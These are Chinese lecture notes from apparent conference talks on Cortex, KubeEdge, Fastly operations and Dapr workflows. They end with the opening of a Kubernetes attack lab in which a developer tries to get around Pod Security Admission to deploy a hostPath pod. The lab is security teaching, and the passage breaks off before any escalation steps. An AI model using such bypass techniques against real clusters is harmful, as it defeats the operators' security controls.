我是来自 Apple 的 Aita Sharma。今天还有几位优秀的项目维护者共同参与:来自 Apple 的 Charlie Lee,来自 AWS 的 Daniel Blando,来自 Adobe 的 Daniel Saabay,以及同样来自 Adobe 的 Fririick Gonzalez。所有维护者都为这个项目工作了很长时间,很高兴他们今天能齐聚一堂。

以下是议程安排。我们将从 Cortex 是什么以及其架构开始,深入探讨各个组成部分。Charlie 将通过一个精彩的演示,展示如何开始使用 Cortex,并引导大家了解几个场景。然后,维护者团队将介绍在性能、可扩展性、可靠性等方面发布的新功能。接着,我们将讨论在互操作性、新格式兼容性以及协议升级方面即将推出的酷炫功能。最后,我们将讨论项目毕业的路线图,这是一个非常激动人心的里程碑。如果时间允许,我们将进行问答环节。

Cortex 是一个高度可扩展、特别是水平可扩展、高可用、多租户的 Prometheus 长期存储解决方案。它是许多大中小型组织寻求数据隔离时非常流行的多租户解决方案。Charlie 将深入介绍其功能。

什么是 Cortex?

Cortex 是 Prometheus 的水平可扩展版本。它致力于为查询和写入提供尽可能低的响应时间,并提供强大的稳定性保证。它是一个由社区管理的 CNCF 项目,得到多家公司的支持,并有来自世界各地的多样化贡献者共同构建。

架构概览

以下是文档中的架构图。从高层次看,存在写入路径和读取路径。

  • 写入路径(图中橙色线):OpenTelemetry 或 Prometheus 等工具将指标发送到 Cortex。指标首先到达 Distributor 服务,它负责速率限制并将请求分发到 Ingester。Ingester 负责在内存中存储指标以便查询。当 Ingester 积累了大约两小时的指标数据后,它会像 Prometheus 服务一样压缩这些数据,然后将压缩后的块发送到您选择的对象存储(如 Amazon S3 或 Google Cloud Storage),实现长期存储。
  • 读取路径:Grafana 等仪表板查询 Cortex 以获取已发送的指标。查询时,您需要传递一个标头来指定要查询哪个租户的指标。Cortex 还具有许多缓存功能,以避免为获取租户指标而遍历整个查询路径。

Cortex 的优势

Cortex 与类似解决方案有何不同?

  • 水平可扩展:之前看到的所有组件都可以水平扩展。
  • 高可用性:重启任何组件时,都有高可用性设置确保其他实例接管负载,不会出现无法解释的指标中断。
  • 查询速度:Cortex 非常重视查询速度,并进行了积极优化。
  • 稳定性保证:新功能总是被标记为“实验性”,以免用户感到意外。
  • 活跃社区:这是一个 CNCF 项目,得到来自多家公司的众多开发者的支持,社区充满活力且健康。

以下是 Cortex 核心特性的快速概览表:

特性 描述
对象存储 支持多种后端(S3, GCS, Azure, Swift)以实现长期存储。
可扩展性 所有组件均可水平扩展。
性能 针对低延迟查询和写入进行了优化。
数据弹性 通过复制和高可用性设计确保数据安全。
数据灵活性 支持多租户隔离和动态配置。
社区驱动 由多元化的贡献者社区积极维护。

快速入门演示 🎬

上一节我们介绍了 Cortex 的架构和优势,本节中我们来看看如何快速上手。我们的文档提供了使用 Docker 或 Kind 快速入门的指南。Docker 方式包含单二进制模式,您可以将 Cortex 作为单个二进制文件在 Docker 中运行;还有微服务模式,您可以将 Cortex 拆分为其组成的微服务,观察各组件如何交互。

我想通过一个演示来展示 Cortex 的实际运行。右侧是一个空的 Kubernetes 集群。我将应用一个 Helm 文件,它将在微服务模式下安装 Cortex 及其相关组件。

  • Cortex 微服务:包括存储指标的 Ingester、作为指标写入入口的 Distributor、HTTP 路由器 Query Frontend、执行查询的 Querier。所有这些组件都是可扩展的。
  • Prometheus 实例:我还部署了一些 Prometheus Pod,它们将抓取集群中的指标,并以各自的租户身份发送到 Cortex。这模拟了开发(dev)和预发布(staging)两个租户的场景,它们之间的数据是隔离的。
  • Grafana 仪表板:我将端口转发到 Grafana,并创建数据源和仪表板,以可视化传入的指标。

在仪表板中,我展示了两个租户的样本摄入速率,它们应该发送相同的指标。我还设置了速率限制,目前每个租户的限制是每秒 25,000 个样本。底部显示了每个 Ingester Pod 当前每秒摄入的样本数。

以下是演示中展示的两个核心操作:

  1. 动态调整速率限制:无需重启任何 Cortex 服务,我可以通过修改 Helm 覆盖值,将开发租户的速率限制从 25,000 动态更改为 2,000。这些值是运行时配置,服务会定期(默认10秒,演示中改为1秒)重新加载。您可以立即在仪表板上看到开发租户的摄入速率下降至 2,000,并且 Ingester Pod 接收的指标也相应减少。
  2. 自动扩展 Ingester:为了存储更多指标,我可以将 Ingester Pod 的副本数扩展到四个。这可以基于某些指标自动完成。应用更改后,可以看到第四个 Ingester Pod 启动。随着负载在四个 Pod 间重新平衡,新 Pod 的样本摄入量增加,而其他三个 Pod 的摄入量减少。

这个演示展示了如何在多租户环境中快速调整配置并观察其生效。


社区更新与新功能 🆕

上一节我们通过演示直观感受了 Cortex 的运作,本节中我们来看看社区在过去半年的进展。自上次北美 KubeCon 以来,我们发布了 1.19 版本,新增了 9 位贡献者、3 位协理(Triage),完成了 381 次提交。

我们新增了协理团队,这是一组像外部贡献者一样持续贡献的成员,他们拥有更多权限来管理 PR 和 Issue,以减轻现有维护者团队的管理负担。当前的协理团队包括 Non Raj Goal、Song Jin Li 和我本人。

版本 1.19 的新功能

以下是 1.19 版本的主要新功能:

  • 对象存储后端:OpenStack Swift 作为对象存储后端已结束实验状态。目前官方支持的四个后端是:Amazon S3、Google Cloud Storage、Microsoft Azure Storage 和 OpenStack Swift。
  • Ruler 组件高可用性:Ruler 是 Cortex 中评估 Prometheus 格式记录规则和告警规则的组件。在 1.19 之前,它并未实现真正的高可用。现在,我们引入了实验性的高可用支持,采用主/非主模式,而非对等复制。每个规则组被分配给一组 Ruler 实例,但在每个规则同步周期(默认每分钟)内,只由其中一个实例(主实例)进行评估。非主实例会检查主实例的健康状态,如果主实例不健康,非主实例将接管规则评估工作。这种方法最大限度地减少了重启和故障时的评估间隙,同时避免了冗余评估。
  • Ruler 使用现有查询路径:现在 Ruler 评估规则时可以选择使用现有的查询路径。这意味着规则评估会经过额外的网络跳转,但可以受益于 Query Frontend 中的缓存和查询拆分性能增强。
  • 分区压缩器:分区压缩器有助于克服 TSDB 索引 64GB 的限制,并能加速包含大量或较大数据块的压缩过程。
  • OTLP 兼容性改进:我们持续改进 OpenTelemetry Protocol 的兼容性。新增了最大请求大小限制以防止内存问题;默认添加了 target_info 指标;并实现了一个名为 promote_resource_attributes 的新配置,允许为指标添加自定义标签,这在 OTLP 场景中非常有用。
  • 摄入优化:我们专注于 CPU 和内存的优化。
    • Push Workers 池:为 gRPC 引入了实验性的 Push Workers 池。通过复用 goroutine 而不是每次创建新的,在某些用例中,Ingester 的 CPU 使用率降低了高达 20%。
    • 扩展 Posting 缓存:借鉴了 Store Gateway 的思路,我们缓存查询的 Posting 结果而非完整响应。虽然 Ingester 的实现更复杂(需要处理缓存失效),但对于包含大量正则表达式的复杂查询,这也能带来显著的 CPU 性能提升(约 20%)。
  • Ingester 优雅缩容:扩展 Ingester 很容易,但缩容更复杂,因为可能丢失数据。我们为 Ingester 在环中引入了一个新的“只读”状态。处于此状态的 Ingester 仍然在环中可见,但不再接收新的写入请求,同时仍可服务查询请求。结合一个新的 API(用于获取 Ingester 上加载的块信息),我们可以安全地判断何时可以缩容 Ingester 而不会丢失查询数据。
  • 高可用性改进:对于使用 Cortex HA 功能的用户,以前每个请求只接受一个 HA 对。现在,通过一个实验性标志,可以支持混合 HA 对,即在一个请求中包含来自不同 HA 对的样本,无需创建多个请求。

未来路线图与毕业计划 🗺️

上一节我们回顾了已发布的功能,本节中我们展望 Cortex 的未来。我们正在积极规划未来的版本。

持续进行的工作

我们目前正在推进以下工作:

  • OTLP 兼容性:继续完善 OTLP 支持,已合并 OTLP 元数据转换功能,预计在下一个版本中发布。
  • 性能优化:正在探索为 Ingester 引入流式连接,在 Distributor 和 Ingester 之间保持长连接,以减少每次创建和管理连接的开销。初步测试显示可带来约 10% 的 CPU 性能提升。
  • 原生直方图:目前支持整数直方图,正在努力添加自定义桶(buckets)的原生直方图支持。
  • Prometheus 3.0 兼容:我们正在内部积极讨论如何支持 Prometheus 3.0 的更多特性,包括新的远程写入 API 标头和流式传输,后者也将有助于提升 Ingester 的 CPU 性能。

项目毕业计划

对于 Cortex 而言,毕业是一个重要的里程碑,而非终点。我们拥有许多公开和私有的用户。为了推动项目毕业,我们需要完成以下工作:

  1. 进行第三方安全审查。
  2. 完善路线图变更流程的文档,以实现更具包容性的治理。
  3. 最终确定发布管理的一些细节。

我们正在使用 GitHub Projects 来组织和管理未来的功能规划。


总结与问答 💬

本节课中,我们一起深入了解了 Cortex 项目。我们从其作为高性能、多租户 Prometheus 长期存储的定位开始,剖析了其写入和读取路径的架构。通过现场演示,我们看到了动态配置和弹性扩展的实际效果。随后,维护者团队详细介绍了 1.19 版本在可靠性、性能、兼容性等方面的多项重要更新。最后,我们展望了未来的开发重点以及推动项目达到 CNCF 毕业状态的计划。

Cortex 的成功离不开活跃的社区。如果您有兴趣贡献,欢迎访问我们的 GitHub 项目 cortexproject/cortex,查看标有 good first issue 的议题,我们非常欢迎您的加入。

问答环节

  • :Cortex 是否有计划考虑将数据摄入到分析型存储(如 Snowflake、BigQuery)而不仅仅是对象存储?
  • :目前没有。这是我们第一次听到这个建议,欢迎您创建一个 Issue 来发起讨论。通常,如果有社区成员感兴趣并愿意推动,新的想法就有可能实现。

再次感谢大家的参与和聆听,感谢所有为 Cortex 做出贡献的人。

021:架构、用例与项目毕业更新 🚀

在本节课中,我们将深入学习 KubeEdge 项目。我们将从其发展历程开始,详细解析其核心架构,探讨关键特性如设备管理和边缘AI,并了解其在多个行业的实际应用案例。最后,我们会介绍其社区治理模式。通过本教程,你将全面理解 KubeEdge 如何将云原生的能力延伸至边缘。

KubeEdge 项目发展历程 📈

KubeEdge 项目的发展历程清晰地展示了其从诞生到成熟的路径。

以下是其关键里程碑:

  • 项目创建与捐赠:项目最初被创建,随后捐赠给云原生计算基金会。
  • 发布 v1 版本:项目发布了第一个主要版本。
  • 大规模用例出现:项目开始在实际生产环境中得到大规模应用。
  • 成为孵化项目:在 2020 年,KubeEdge 成为 CNCF 的孵化级项目。
  • 创建子项目:项目内部创建了专注于边缘AI的子项目 Sedna。
  • 卫星等用例拓展:应用场景拓展至卫星等更广泛的领域。
  • 大规模测试:项目进行了大规模部署与稳定性测试。
  • 项目毕业:去年,KubeEdge 成功毕业,成为 CNCF 首个边缘计算场景的毕业项目。

项目背景与概述 🌐

上一节我们回顾了项目历程,本节中我们来看看 KubeEdge 旨在解决的核心问题。

从计算架构的演进来看,计算正从集中的云向区域边缘、现场边缘和近端边缘扩散。大量设备和数据产生于近端边缘。KubeEdge 的目标就是管理边缘侧的节点和应用。

KubeEdge 是首个云原生边缘计算项目。它采用开放的治理模式,在 GitHub 上拥有大量的关注者和贡献者,这些贡献者来自全球不同的组织。

KubeEdge 核心架构 🏗️

了解了项目背景后,现在我们来深入剖析 KubeEdge 的核心架构。

KubeEdge 架构包含三个主要部分:云部分、边缘部分和物联网设备部分。

  • 云部分:使用标准的 Kubernetes 控制平面,未作任何修改。同时包含云核心组件,这是 KubeEdge 自主开发的组件,用于增强云边之间在不稳定网络下的通信能力。
  • 边缘部分:包含边缘核心组件。该组件集成了轻量化的 Kubelet,我们移除了原生 Kubelet 中在边缘场景下不必要的功能。此外,还包含用于物联网设备管理的功能模块。
  • 物联网设备部分:通过名为 Mapper 的组件,可以将物联网设备连接到 KubeEdge 集群。

最新版本特性与组件详解 ⚙️

在掌握了整体架构后,本节我们聚焦于最新版本的特性和关键组件细节。

KubeEdge 的最新版本引入了多项新功能,例如支持批量处理边缘节点、支持云边通信的 IPv6、多语言框架支持、升级了 Kubernetes 依赖版本,并发布了新的仪表盘。

以下是边缘应用管理的详细流程:

  1. 云部分通过 WebSocket 协议发送 Pod 元数据。
  2. 边缘节点上的 EdgeHub 组件接收元数据。
  3. 元数据被存储到边缘存储中。
  4. 数据被设置到轻量化的 Kubelet。
  5. 最终在边缘节点上运行容器。

对于物联网设备管理,KubeEdge 在边缘定义了一套设备管理接口。在云端,用户可以通过自定义资源定义来管理设备模型和设备实例,从而控制边缘设备的连接和数据采集。

网络与安全子项目 🔒

除了核心的编排和设备管理,KubeEdge 还拥有增强网络和安全的子项目。

KubeEdge Mesh 是一个网络子项目,专门解决边缘场景下的应用通信问题。在边缘场景中,节点之间通常无法直接连通。Edge Mesh 能够帮助位于不同站点的边缘应用相互通信,它包含了 DNS 等功能。

在安全方面,KubeEdge 是首批达到软件供应链安全三级要求的 CNCF 项目之一。它拥有完整的审计报告,也是首批集成 Falco 进行运行时安全监控的项目,并发布了威胁模型和安全防护分析。

边缘AI框架:Sedna 🤖

前面我们介绍了基础架构,现在来看看 KubeEdge 在人工智能领域的扩展——Sedna。

Sedna 是 KubeEdge 下的一个子项目,它是一个边云协同的 AI 框架。其架构同样包含云和边两部分。

  • 云组件:全局管理器,负责所有边缘AI任务的管理、协调以及模型和数据集的管理。
  • 本地控制器:运行在云节点和边缘节点上,是云边之间的桥梁。
  • 工作节点:AI 任务实际运行的地方,可以在云或边缘运行。
  • 协同实验室:通过该模块,边缘和云上的 AI 工作负载可以进行协同,例如实现联合推理和联邦学习。

边云协同推理用例 🧠

Sedna 框架支持一个重要的用例:边云协同推理。

边云协同推理是指在边缘节点部署轻量化的模型,在云端部署复杂的深度模型。推理请求首先在边缘节点进行处理。如果边缘模型计算的置信度较低,请求会被转发到云端进行深度推理;如果置信度满足要求,则直接由边缘节点返回结果。这种方式平衡了响应速度和推理精度。

行业应用案例研究 🏭

理论需要结合实际,本节我们将探讨 KubeEdge 在多个行业中的具体应用案例。

以下是几个典型案例:

  • 商用车队管理:卡车常在网络信号不稳定的偏远地区运营。KubeEdge 使车辆能在本地运行 AI 模型,提前识别潜在故障。即使没有网络连接,车辆也能正常运行,这有助于降低维护成本并优化车队管理。
  • 海上石油钻井平台:钻井平台通常远离陆地,与云端的网络连接非常弱。设备故障在这种环境下非常危险且代价高昂。KubeEdge 通过在现场处理数据,使客户能在更安全的环境下工作。即使钻井平台与云端的网络中断,系统也能保持稳定运行。
  • 内容分发网络:CDN 从云端分发内容时,有时会因网络弱导致下载缓慢。KubeEdge 通过部署 AI 模型进行流量预测,确保只从云端获取必要的内容,从而实现更快的加载速度、更少的问题以及更高的服务器性能。

此外,KubeEdge 在智能交通、智慧能源、工业智能等多个传统行业也有广泛应用。

社区治理与生态 🤝

KubeEdge 的成功离不开其开放的社区治理和丰富的生态。

KubeEdge 采用开放的治理模型。顶层是技术监督委员会,其下设有多个分委员会和特别兴趣小组。社区拥有多个特别兴趣小组,分别负责如 Sedna、Edge Mesh 等子项目,以及设备管理等工作组。

KubeEdge 社区拥有众多来自不同行业的合作伙伴。社区活动丰富,例如参与 LFx 导师计划,培养来自全球的贡献者。官方网站上提供了合作伙伴的解决方案和详细的应用案例研究,可供查阅。


本节课中我们一起学习了 KubeEdge 项目的全貌。我们从其发展历程和项目背景入手,深入解析了其核心的三层架构,了解了设备管理、Edge Mesh 网络和安全性等关键特性。我们还探讨了其边缘AI框架 Sedna 和边云协同推理的用例。通过多个行业的实际案例,我们看到了 KubeEdge 解决实际问题的能力。最后,我们介绍了其开放的社区治理模式和活跃的生态系统。KubeEdge 作为云原生向边缘延伸的典范,为管理分布式边缘资源提供了强大的基础。

023:构建超大规模运营系统的经验教训

在本节课中,我们将学习来自Fastly公司创始人兼CTO Arthur Bergman的经验分享。他将从一个独特的视角,探讨如何构建和运营一个支撑全球数百万请求每秒的超大规模平台,并分享从一家百年工具公司Festool身上领悟到的平台哲学。我们将重点关注平台承诺、异常值处理、结果导向以及如何避免全局故障等核心概念。


P23.1:平台的定义与承诺 🧩

上一节我们介绍了课程背景,本节中我们来看看什么是真正的平台。

Arthur Bergman认为,平台的核心在于其向用户做出的承诺。这个承诺是:平台提供的任何新产品、服务或功能,用户都会因为信任这个平台而直接使用,无需额外评估。例如,如果你使用苹果的生态系统,当苹果推出新耳机时,你很可能直接购买,因为你确信它能与你的iPhone无缝协作。

以下是判断一个产品是否构成平台的关键思考:

  • 承诺一致性:平台新增的任何功能都必须符合其核心承诺。如果打破承诺,用户会感到困惑和不满。
  • 降低认知负荷:用户选择平台内的新产品,是因为他们已经熟悉其生态系统、工具和术语,这大大降低了采用新事物的心智负担。
  • 价值实现更快:由于用户无需重新学习,他们能更快地从新功能中获得价值。

这种“平台思维”不仅适用于软件,也适用于实体产品。以德国百年电动工具品牌Festool为例,其所有工具都围绕“集尘系统”和“轨道系统”构建了一个强大的平台。一旦用户购买了第一件Festool工具,他们就会倾向于购买更多,因为新工具能完美融入现有系统,兑现了“高效、整洁、一体化”的承诺。


P23.2:关注异常值,而非平均值 📊

上一节我们探讨了平台的核心是承诺,本节中我们来看看在超大规模运营中,应该关注哪些数据指标。

在Fastly,团队花费大量时间分析数据,但他们关注的焦点不是平均值,而是异常值(Outliers)。在每秒处理数千万请求的规模下,即使是99.9%分位(P99.9)的延迟异常,每秒也会发生数十次。

以下是他们的实践方法:

  • 忽略中位数,关注高百分位:永远不要只看中位数或平均值。应该关注P99、P99.9甚至更高的分位数据。这些“长尾”异常才是影响高端用户感知的关键。
  • 异常即机会:异常值不是用来忽略的,而是用来深入挖掘和优化的目标。修复一个异常问题,往往能带动整个系统性能的普遍提升。
  • 文化驱动:在Fastly,形成了一种文化:最复杂、技术最精通的客户首先会发现并抱怨这些异常。因此,主动寻找并修复异常值,是提升平台整体可靠性和用户体验的关键。

例如,他们曾发现P99.9延迟的尖峰,原因是事件循环中意外执行了文件I/O操作。修复这个问题后,不仅P99.9延迟下降,连P95、P90的延迟也得到了改善。


P23.3:聚焦结果,审视“技术债” 🎯

上一节我们学习了关注异常值的重要性,本节中我们来看看如何确保技术工作始终服务于业务目标。

另一个重要经验是始终聚焦于结果(Focus on Outcome)。要不断自问:用户或客户试图实现什么目标?我们正在做的事情是否真正帮助他们更好地实现目标?世界上存在大量“无意义的创新”,它们并未解决核心问题。

这引出了对“技术债”(Technical Debt)这个词的反思。Arthur建议,永远不要仅仅因为“这是技术债”就提议修复某段代码。这个词的含义过于模糊:

  • 最佳情况:它确实意味着维护这段代码的成本超过了其带来的收益。
  • 通常情况:可能只是意味着“我不喜欢这段代码”。
  • 糟糕情况:可能意味着“我想用新的热门语言或框架重写它”,而这可能只是个人偏好。

代码的运营价值基于 代码价值 = 运行时间 × 产生的效益 这个公式。已经稳定运行多年的旧代码,其价值可能远高于尚未经过生产环境考验的新代码。在考虑重构或重写时,必须基于对实际业务结果的清晰评估,而非对“技术债”的泛泛而谈。


P23.4:如何避免全局性故障 🚫

上一节我们强调了以结果为导向,本节中我们来看看在超大规模下保障稳定性的具体策略。

对于全球性平台,如何防止全局故障(Global Outage)是重中之重。一个有效的思考方式是反向推演:如何引发一次全局故障? 这通常需要改变全局状态。

以下是Fastly总结的关键规则:

  • 统一代码与配置:从引发故障的角度看,发布新代码和更新配置没有本质区别。一段沉睡一年的代码,可能因为一个配置开关的开启而被激活,其效果等同于一次新代码发布。任何全局性的、即时生效的状态变更都必须慎之又慎。
  • 快速回滚能力:无论是代码还是配置,都必须具备快速、 ideally 自动化的回滚能力。这是从故障中恢复的最有效手段。
  • 保持态势感知:在执行关键变更时,必须始终保持对系统整体状态的清晰认知。Fastly曾有一次故障,源于工程师在更新网络交换机时,未确认前一个交换机已恢复在线就操作了下一个,导致整个节点离线。
  • 实验室的局限性:在超大规模下,世界上没有任何实验室或开发环境能完全模拟生产环境。因此,变更必须谨慎,并准备好回滚方案。
  • 严查生产环境崩溃:任何在生产环境中发生的已知实例崩溃,都必须立即触发调查,不能放过任何蛛丝马迹。

P23.5:实用工具与最终建议 🛠️

上一节我们介绍了防止全局故障的策略,本节中我们来看看一些能提升运营效率的实用工具和最终建议。

最后,Arthur分享了一些提升运营效率的实践:

  • 利用AI总结事件:Fastly尝试将所有历史事件报告输入给大语言模型(LLM)进行训练。这带来了显著价值:
    • 更快分类:能够更快速地对新事件进行分类。
    • 关联历史:能更有效地关联和回忆起过去的类似事件。
    • 生成摘要:可以自动生成清晰的事件摘要,用于内部复盘或客户沟通。这尤其有助于分析那些未造成实际影响的“准事故”,就像航空业对待任何微小事故一样认真。
  • 抽象是关键:良好的抽象(Abstraction)是构建和维护复杂系统的基石。你需要理解你上下各一层的抽象,并确保抽象是正确的。糟糕的、无计划的抽象会导致系统变成难以维护的“温彻斯特神秘屋”(一座没有图纸、随意扩建、结构混乱的建筑)。
  • 团队建设建议:如果你的架构团队在旧金山湾区,可以组织他们参观温彻斯特神秘屋,这将是一次关于“缺乏规划和抽象会导致什么后果”的生动团队建设课。

本节课中我们一起学习了构建超大规模运营平台的多维度经验。我们从Festool的工具平台哲学中理解了承诺是平台的基石;通过Fastly的实践认识到关注异常值比平均值更重要;我们强调了所有技术活动都应聚焦于业务结果,并理性看待“技术债”;我们深入探讨了通过统一看待代码与配置、保持快速回滚能力和态势感知来避免全局故障;最后,我们了解了利用AI工具分析事件和建立正确抽象的重要性。这些经验对于任何构建或运营复杂、高可用性系统的工程师和架构师都具有宝贵的参考价值。

025:故障不是选项 - 持久化执行 + Dapr = 🚀

在本节课中,我们将学习如何利用持久化执行和 Dapr 工作流来构建具有弹性、能够自动从故障中恢复的分布式应用程序。我们将探讨故障的必然性、持久化执行的核心概念,并通过一个实际的订单处理示例来演示 Dapr 工作流如何确保业务流程的可靠完成。


故障是不可避免的

在 IT 领域,故障是不可避免的。无论是作为开发者还是最终用户,我们都亲身体验过各种系统故障。分布式系统尤其复杂,服务之间需要同步或异步通信,涉及消息代理、状态存储等多个移动部件,出错的可能性很高。

这并非新问题。早在 1994 年,人们就总结了“分布式计算的谬误”,指出我们在开始构建分布式系统时,常常会做出一些错误的假设。这些谬误提醒我们,分布式计算本质上是困难的。

解决方案:持久化执行

为了应对系统故障并实现自动恢复,同时限制故障的影响,一种有效的解决方案是持久化执行

持久化执行意味着以有状态的方式运行代码。如果运行代码的进程失败,另一个进程可以启动,从持久化存储(如磁盘)中读取之前保存的状态,然后继续执行代码直至完成。

你可能对工作流引擎更熟悉,它们多年来一直在实现持久化执行。工作流由许多任务或活动组成,每个活动都是一个工作单元。工作流引擎通过将所有状态变更持久化到状态存储中来实现可靠性。

以下是持久化执行的基本工作原理:

  1. 启动工作流时,其输入被存储到状态存储中。
  2. 调度并执行第一个活动,其输入和输出也被存储。
  3. 工作流不会立即继续下一个活动,而是会从顶部重新开始“重放”。
  4. 它读取第一个活动的状态(知道已完成),然后调度第二个活动,并再次持久化所有数据。
  5. 这个过程不断重复,确保即使工作流在任何时刻中断,所有已完成的工作状态都已保存,可以从中断点恢复。

Dapr 与 Dapr 工作流

大约五年前,Dapr(分布式应用运行时)作为一个开源项目被创建。它通过以 Sidecar 模式运行在应用旁,为开发者提供了构建和运行分布式应用的简化 API,支持多种编程语言。Dapr 已于去年 11 月成为 CNCF 的毕业项目。

Dapr 工作流是 Dapr 的一个功能,它提供了一个“工作流即代码”的解决方案。这意味着你可以用熟悉的编程语言(如 C#、Java、Python、Go)编写工作流逻辑,并将其纳入源代码管理,便于代码审查和单元测试。

Dapr 工作流引擎内置于 Dapr Sidecar 中。当你的应用启动时,它与 Sidecar 之间会建立一个 gRPC 流。你的应用运行业务逻辑,而 Dapr Sidecar 负责调度工作流、持久化状态,并在发生故障时恢复执行。

工作流模式

使用工作流即代码解决方案时,你可以利用几种常见模式:

  • 任务链模式:按特定顺序运行活动,通常前一个活动的输出是后一个活动的输入。
  • 扇出/扇入模式:并行运行多个独立的活动,然后等待所有活动完成并聚合结果。
  • 监视器模式:用于周期性任务。执行一个活动后,设置一个定时器(如24小时),工作流会卸载,定时器到期后唤醒并启动一个新的工作流实例。
  • 外部系统交互模式:使工作流暂停,等待外部事件(如人工审批结果),然后根据事件负载决定后续流程。

在实际应用中,你通常会组合使用这些模式。

演示:订单处理工作流

接下来,我们通过一个订单处理示例来具体看看 Dapr 工作流如何运作。该示例包含两个应用:工作流应用和货运服务应用。

工作流的逻辑步骤如下:

  1. 更新库存:检查是否有足够库存,如果有则扣减。
  2. 获取货运提供商:查询可用的货运公司。
  3. 获取运费:并行向所有货运公司查询运费。
  4. 选择最便宜提供商:计算并选择运费最低的。
  5. 注册货运:向选定的货运公司注册此次运输。
  6. 补偿动作:如果注册货运失败,则执行补偿活动(如恢复库存)。

代码解析

以下是工作流定义的核心代码(以 C# 为例):

public class ValidateOrderWorkflow : Workflow<Order, OrderValidationResult>
{
    public override async Task<OrderValidationResult> RunAsync(WorkflowContext context, Order order)
    {
        // 1. 活动:更新库存
        var inventoryResult = await context.CallActivityAsync<InventoryResult>(
            "UpdateInventory",
            order
        );

        if (!inventoryResult.SufficientStock)
        {
            return new OrderValidationResult { Success = false, Reason = "库存不足" };
        }

        // 2. 活动:获取货运提供商列表
        var shippingProviders = await context.CallActivityAsync<ShippingProvider[]>(
            "GetShippingProviders",
            order.ProductId,
            new WorkflowTaskOptions { RetryPolicy = RetryPolicy.Constant(3, TimeSpan.FromSeconds(1)) }
        );

        // 3. 扇出:为每个提供商获取运费
        var costTasks = new List<Task<ShippingCost>>();
        foreach (var provider in shippingProviders)
        {
            var task = context.CallActivityAsync<ShippingCost>("GetShippingCost", provider);
            costTasks.Add(task);
        }
        // 扇入:等待所有运费查询完成
        var allCosts = await Task.WhenAll(costTasks);

        // 4. 选择最便宜提供商
        var cheapest = allCosts.MinBy(c => c.Cost);
        var selectedService = cheapest.ServiceName;

        // 5. 活动:注册货运
        try
        {
            await context.CallActivityAsync("RegisterShipment", (order, selectedService));
        }
        catch (WorkflowTaskFailedException ex)
        {
            // 6. 补偿:注册失败,恢复库存
            await context.CallActivityAsync("UndoUpdateInventory", order);
            return new OrderValidationResult { Success = false, Reason = $"货运注册失败: {ex.InnerException.Message}" };
        }

        return new OrderValidationResult { Success = true, TrackingId = cheapest.TrackingId };
    }
}

关键点说明

  • context.CallActivityAsync 用于调度活动。调用后,工作流代码会暂停,活动由 Dapr 侧车调度执行。
  • Task.WhenAll 实现了扇出/扇入模式,并行执行多个活动并等待结果。
  • try-catchWorkflowTaskFailedException 用于处理活动失败,并触发补偿逻辑。
  • 工作流是确定性的,避免在流程中使用 Guid.NewGuid()DateTime.Now 等非确定性调用,应使用 context.NewGuid()context.CurrentUtcDateTime

配置与运行

工作流和活动需要在应用启动时向 Dapr 注册:

builder.Services.AddDaprWorkflow(options =>
{
    options.RegisterWorkflow<ValidateOrderWorkflow>();
    options.RegisterActivity<UpdateInventoryActivity>();
    // ... 注册其他活动
});

状态存储通过 statestore.yaml 组件文件配置(本例使用 Redis):

apiVersion: dapr.io/v1alpha1
kind: Component
metadata:
  name: orderstatestore
spec:
  type: state.redis
  version: v1
  metadata:
  - name: actorStateStore
    value: "true" # 工作流需要此设置

使用 dapr run 命令同时启动工作流应用和货运服务应用。

演示故障恢复

在演示中,我们启动工作流处理订单。在查询运费的过程中,我们手动停止所有应用进程,模拟系统崩溃。此时,工作流状态已持久化到 Redis。

当我们重新运行 dapr run 启动所有应用后,Dapr 工作流引擎会自动检测到未完成的工作流实例,并从上次持久化的状态点(即查询运费时)继续执行,最终完成订单处理,无需人工干预或重新触发。这完美展示了持久化执行带来的自动故障恢复能力。

使用工作流的注意事项

尽管工作流功能强大,但在使用时也需注意以下挑战:

  1. 确定性代码:工作流逻辑必须是确定性的,以确保重放时行为一致。避免在流程中使用随机数或当前时间,应将非确定性逻辑封装在活动中。
  2. 幂等性活动:Dapr 工作流保证活动至少执行一次,因此活动代码必须是幂等的。例如,数据库写入操作应考虑使用“upsert”或先检查后插入。
  3. 版本管理:对工作流定义(如活动顺序、输入参数)进行重大更改是破坏性的。建议采用工作流版本化策略(如 ValidateOrderV1ValidateOrderV2),而不是修改现有工作流。
  4. 状态大小:在活动间传递的参数会被持久化。应尽量传递小对象(如ID),避免传递大型文档,否则会降低效率并增加存储开销。可以将相关操作合并到更粗粒度的活动中。

本节课中,我们一起学习了如何利用 Dapr 工作流实现持久化执行,从而构建能够从容应对故障的分布式应用。我们了解了其核心原理、常见模式,并通过实例看到了它如何确保业务流程的可靠性。记住,在分布式系统中,故障不是是否发生的问题,而是何时发生的问题。借助持久化执行,我们可以让故障发生时,系统依然能够成功地完成其任务。

026:利用Kubernetes发起攻击

在本教程中,我们将通过一个模拟攻击场景来学习Kubernetes安全知识。我们将扮演一名开发人员,尝试绕过Kubernetes的安全控制来部署一个应用,并在此过程中了解权限提升的潜在路径。目标是让每位参与者至少掌握一个关于Kubernetes安全的新知识点。

环境准备与场景设定

我们将使用Kind工具在本地快速创建一个Kubernetes测试集群,并部署预设的工作负载。

创建Kind集群

首先,进入从GitHub克隆的教程代码目录,然后运行以下命令来创建一个Kind集群。我们使用了一个自定义配置文件,其中包含了一些特定的设置。

kind create cluster --config kind-config.yaml

创建完成后,使用 kubectl cluster-info 命令确认我们连接到了正确的本地集群。

部署工作负载

接下来,我们将应用目录中的所有清单文件部署到集群中。

kubectl apply -f manifests/

部署过程中,你可能会看到一个关于Pod安全标准的警告。这是预期内的,也是我们后续要探讨的场景的一部分。

进入开发环境

部署完成后,我们通过执行命令进入一个名为 workstation 的Pod,模拟开发人员的操作环境。

kubectl exec -it deployment/workstation -- bash

现在,我们已身处“开发人员”的视角,拥有该服务账户对应的权限。

初始目标与遇到的障碍

我们的开发人员需要在 dev 命名空间中部署一个日志读取应用。这个应用非常简单:它使用 hostPath 卷挂载来读取位于 kube-system 命名空间中另一个Pod的日志文件。

然而,当我们检查部署状态时,发现 read-log-file 这个Deployment未能成功创建Pod。

kubectl get deployments
kubectl get replicasets
kubectl describe replicaset read-log-file-...

描述信息显示,Pod创建失败的原因是违反了Pod安全准入控制策略。具体来说,它触发了基线Pod安全标准,该标准旨在阻止可能导致特权升级的明显危险操作。

我们的目标因此受阻。为了在周五下班前完成任务,我们需要寻找解决方案。

权限探索与初步提升

既然直接部署被阻止,我们需要查看当前账户拥有哪些权限,并寻找可能的突破口。

检查当前权限

